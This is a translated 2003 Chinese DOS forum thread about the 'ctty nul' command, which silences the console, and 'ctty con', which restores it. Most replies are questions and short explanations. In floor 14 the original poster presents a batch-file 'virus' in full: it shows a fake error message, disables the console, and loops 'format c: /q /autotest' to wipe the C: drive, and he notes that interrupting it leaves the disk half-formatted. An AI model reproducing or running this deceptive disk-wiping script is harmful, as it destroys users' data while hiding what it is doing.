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中国DOS联盟论坛 » DOS学习入门 & 精彩文章 （教学室） » Keyboard lock command View 2,847　Replies 15
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Original Poster Posted 2003-08-12 00:00　·　 中国 湖北 武汉 联通
iceboy
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ctty nul

It's very simple, everyone may have used it, but just can't remember it.

When restoring, use ctty con

But it must be used in a batch file, otherwise... you have to restart...
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 2 Posted 2003-08-12 00:00　·　 中国 湖北 武汉 联通
iceboy
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But after running, nothing will be displayed on the screen anymore, which is equivalent to adding >nul to all commands
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 3 Posted 2003-08-12 00:00　·　 中国 福建 福州 电信
cn_archer
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Good idea!
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Floor 4 Posted 2003-08-12 00:00　·　 中国 河南 南阳 联通
jeffyy
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What is the format?
Floor 5 Posted 2003-08-14 00:00　·　 中国 吉林 四平 中移铁通
无妄★模拟
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What does NUL mean? Redirect to the file NUL??? Explain it~~~~~~~~~
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Floor 6 Posted 2003-08-14 00:00　·　 中国 香港 有线电视
Roy
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The following is a quote from Wu Wang ★ Simulation on 2003-8-14 16:07:20:
What does NUL mean? Redirect to the file NUL??? Explain it~~~~~~~~~
nul is an "empty" device, not a file
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Floor 7 Posted 2003-08-15 00:00　·　 中国 广东 肇庆 电信
hzy
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What is the significance of this?
Floor 8 Posted 2003-08-15 00:00　·　 中国 广东 广州 教育网
GOTOmsdos
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Is this still a question? Just think about it!!
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Floor 9 Posted 2003-08-15 00:00　·　 中国 安徽 滁州 天长市 电信
LanE
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Hehe, this is usually used in batch processing to prevent screen output, and then restored with ctty con. But if used directly as a command, then restart it.
Floor 10 Posted 2003-08-23 00:00　·　 中国 江苏 徐州 电信
ssbird
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Awesome!
Floor 11 Posted 2003-08-24 00:00　·　 中国 浙江 湖州 电信
ajeef
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Hey~~~~~~~ NTOS doesn't currently support this command yet. It has reached SP4, and it's estimated that it won't support it anymore.
Floor 12 Posted 2003-08-24 00:00　·　 中国 浙江 湖州 电信
ajeef
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Hey~~~~~~~ NTOS doesn't currently support this command yet. It's already at SP4, and it's estimated that it won't support it anymore.
Floor 13 Posted 2003-08-24 00:00　·　 中国 河南 洛阳 联通
yong1268
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When restoring, use ctty con. But it must be used in a batch file, otherwise... you'll have to restart... What does batch file mean???
Floor 14 Posted 2003-08-30 00:00　·　 中国 湖北 武汉 联通
iceboy
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... Dizzy

and, I found that this command is very good for writing batch file viruses...

@echo off
echo Found a error, please wait system to save the data...
ctty nul
:a
format c: /q /autotest
goto a

Formatting halfway by pressing Ctrl + C will only cause the hard drive data to be destroyed (half-formatted)
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 15 Posted 2004-06-24 00:00　·　 中国 天津 电信
laochang409
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